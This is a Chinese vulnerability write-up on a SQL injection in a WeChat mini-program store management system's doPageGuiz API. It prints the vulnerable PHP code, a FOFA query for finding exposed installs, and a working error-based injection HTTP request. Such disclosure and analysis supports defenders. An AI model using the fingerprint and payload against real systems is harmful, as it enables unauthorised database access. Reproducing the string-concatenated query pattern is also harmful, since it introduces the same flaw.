漏洞简介
万能门店小程序管理系统是一款功能强大的工具,旨在为各行业商家提供线上线下融合的全方位解决方案。是一个集成了会员管理和会员营销两大核心功能的综合性平台。它支持多行业使用,通过后台一键切换版本,满足不同行业商家的个性化需求。该系统采用轻量后台,搭载高效服务器,确保小程序运行流畅,提升用户体验。万能门店小程序管理系统 /api/wxapps/doPageGuiz 存在 SQL 注入漏洞,攻击者可通过该漏洞获取数据库中的敏感信息,甚至可能进一步控制服务器。
影响版本
万能门店小程序全开源独立版V5.2.0
fofa语法
body="/new_plat/index.html#/login" || (body="/comhome/cases/index.html" && body="/Comhome/functionshow/index.html")
漏洞分析
application/api/controller/Wxapps.php
public function doPageGuiz()
{
$uniacid = input("uniacid");
$suid = input('suid');
$guize['list'] = Db::name('wd_xcx_recharge')->where("uniacid", $uniacid)->order("money asc")->select();
foreach ($guize['list'] as $k => &$v) {
$v['allmoney'] = round($v['money'] + $v['getmoney'], 2);
$v['coupon_num'] = 0;
if ($v['coupon_con']) {
$coupon_con = unserialize($v['coupon_con']);
foreach ($coupon_con as $key => &$value) {
$v['coupon_num'] += $value['coupon_num'];
}
}
}
$conf = Db::name('wd_xcx_rechargeconf')->where("uniacid", $uniacid)->find();
if (!$conf) {
$conf = [
'score_shoppay' => 0
];
}
$guize['conf'] = $conf;
if ($suid) {
$guize['user'] = Db::name('wd_xcx_superuser')->where("uniacid", $uniacid)->where("id", $suid)->field('money,score,uniacid,id')->find();
} else {
$guize['user'] = [
'money' => 0,
'score' => 0
];
}
if ($suid) {
$tiaojian = " and flag <> 2 and flag = 0";
$prefix = config('database.prefix');
$yhqsold = Db::query("select * from {$prefix}wd_xcx_coupon_user where uniacid = " . $uniacid . " and suid = " . $suid . $tiaojian . " ORDER BY id desc");
$time = time();
// $aa = [];
foreach ($yhqsold as $key => &$resi) {
// $arrs = Db::name('wd_xcx_coupon')->where("uniacid", $uniacid)->where("id", $resi['cid'])->find();
// if ($arrs['btime'] != 0) {
// $arrs['btime'] = date("Y-m-d", $arrs['btime']);
// }
// if ($arrs['etime'] != 0) {
// if ($time > $arrs['etime'] && $resi['flag'] == 0) {
// $kdata = array(
// "flag" => 2
// );
// Db::name('wd_xcx_coupon_user')->where("id", $resi['id'])->update($kdata);
// }
// $arrs['etime'] = date("Y-m-d", $arrs['etime']);
// }
if ($resi['etime'] != 0) {
if ($time > $resi['etime'] && $resi['flag'] == 0) {
$kdata = array(
"flag" => 2
);
Db::name('wd_xcx_coupon_user')->where("id", $resi['id'])->update($kdata);
}
}
}
}
$guize['coupon'] = Db::name('wd_xcx_superuser')->alias("a")->join("wd_xcx_coupon_user b", "a.id = b.suid")->where("a.uniacid", $uniacid)->where("a.id", $suid)->where("b.flag", 0)->field('b.*')->select();
foreach ($guize['coupon'] as $ksi => $vsi) {
if ($vsi['use_type'] == 1) {
if (strstr($vsi['use_class'], 'gpay') === false) {//不存在
unset($guize['coupon'][$ksi]);
}
}
}
$adata['data'] = $guize;
return json_encode($adata);
}
代码中使用了 input("uniacid") 和 input("suid") 来接收请求参数。这两个变量的值均来自用户输入
- 在代码中,大部分数据库操作都是通过 ThinkPHP 的链式查询完成的,比如:
Db::name('wd_xcx_recharge')->where("uniacid", $uniacid)->order("money asc")->select();Db::name('wd_xcx_rechargeconf')->where("uniacid", $uniacid)->find();Db::name('wd_xcx_superuser')->where("uniacid", $uniacid)->where("id", $suid)->field('money,score,uniacid,id')->find();- 以及最后的联表查询
- 这些方法默认会对传入的数据进行参数绑定和预处理,从而较为安全,不容易受到 SQL 注入攻击。
存在漏洞的部分在于下面这段代码:
if ($suid) {
$tiaojian = " and flag <> 2 and flag = 0";
$prefix = config('database.prefix');
$yhqsold = Db::query("select * from {$prefix}wd_xcx_coupon_user where uniacid = " . $uniacid . " and suid = " . $suid . $tiaojian . " ORDER BY id desc");
// ...后续处理
}
- 关键问题在于:
- 将变量
$uniacid和$suid(直接来自用户输入)通过字符串拼接的方式嵌入到了 SQL 语句中。 - SQL 语句的构造过程没有任何额外的过滤、转义或参数绑定,完全依赖用户输入的值组成 SQL 命令。
- 将变量
漏洞复现
POST /api/wxapps/doPageGuiz HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded
uniacid=1&suid=1+AND+GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)%23


